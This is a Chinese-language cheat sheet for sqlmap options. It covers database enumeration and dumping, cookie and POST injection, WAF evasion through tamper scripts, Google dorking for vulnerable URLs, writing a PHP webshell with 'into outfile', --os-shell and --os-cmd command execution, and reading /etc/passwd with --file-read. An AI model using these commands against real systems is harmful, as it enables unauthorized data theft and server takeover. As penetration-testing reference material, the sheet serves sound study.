文章目录
1.获取数据指令
-u指定注入点url
-r 指定文件
–dbs跑库名
-D指定数据库
–tables跑表名
-T指定表
–columns跑字段
-C指定字段
–dump跑数据[敏感指令]
–count查看数据量
2.指定注入类型
cookie注入:
–cookie ‘id=66’ --level 2
post注入:
【】burp抓包,保存为1.txt
-r 1.txt -p username -p指定注入点,或者在数据包中加*
【】设置data
–data “username=321456&password=123asd”
【】自动模式
–forms
3.辅助功能参数
–flush-session 清除缓存,重新测试
–random-agent 选择随机user-agent请求头
–delay=1 每次探测延迟1秒
–proxy 指定代理,–proxy “http://127.0.0.1:1080” 使用本地1080端口
–batch 自动执行默认选项
–threads 设置测试线程数,默认线程1
–start指定开始的行
–stop指定结束的行
–risk 风险等级
共有四个等级,默认为1
1会测试大部分语句,2会增加基于事件的测试语句,3会增加or语句的SQL注入测试
–level 指定测试的等级
1-5 level等级越高检测越详细
例如:level大于2会检测cookie注入,大于3会检测头注入
-v 观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
共有7个等级,默认为1
0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面。
注:如果你想看到sqlmap发送的测试payload最好的等级就是3。
-g 使用google搜索注入(需要外网)
sqlmap -g inrul:php?id=
4.数据库相关指令
–current-user 获取当前用户名称
–current-db 获取当前数据库名称
–is-dba 判断当前用户是否为DBA,如果是True可以尝试直接拿webshell,直接写木马
–users列出sqlserver所有用户
–passwords 枚举数据库用户密码
5.web指纹和waf识别
-f 启用广泛的指纹识别
-b 检测数据库指纹
–hostname 枚举主机名称
–identify-waf 检测waf信息
6.指定脚本
–tamper
脚本文件在tamper文件夹中,我们也可以在网上找到更多的tamper。
–tamper”space2morehash.py” 哈希编码
–tamper unmagicquotes指定宽字节注入。调用了脚本unmagicquotes.py
7.shell权限
–os-shell
产生交互式的操作系统的shell,用来执行cmd命令
系统要求:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径(因为要写个木马进去)
(3)GPC为off,php主动转义的功能(魔术引号:magic_quotes_gpc)关闭(默认为关)
(4)secure_file_priv为空(默认为空)
会用到select <?php phpinfo() ?> into outfile d:\admin\shell.php
php中的loadfile和outfile为导入导出文件
使用–os-shell之后会生成两个文件
第一个为脚本文件
第二个为后门文件
可是我们不知道参数名。我们也可以自己上传一个
–os-cmd=
执行cmd命令
–os-cmd=ipconfig
–sql-shell
产生一个交互式的sql shell,用来执行sql命令
8.读取服务器指定文件
–file-read=/etc/passwd
–file-read=d:/test.txt
9.更新
–update 更新sqlmap
但是网上说不好用,建议删掉重新下载。
解决方法:
找到sqlmap的路径/usr/share/salmap
执行
cd /usr/share/
然后删掉sqlmap
rm -rf sqlmap/
然后执行
git clone https://github.com/sqlmapproject/sqlmap
克隆到路径即可。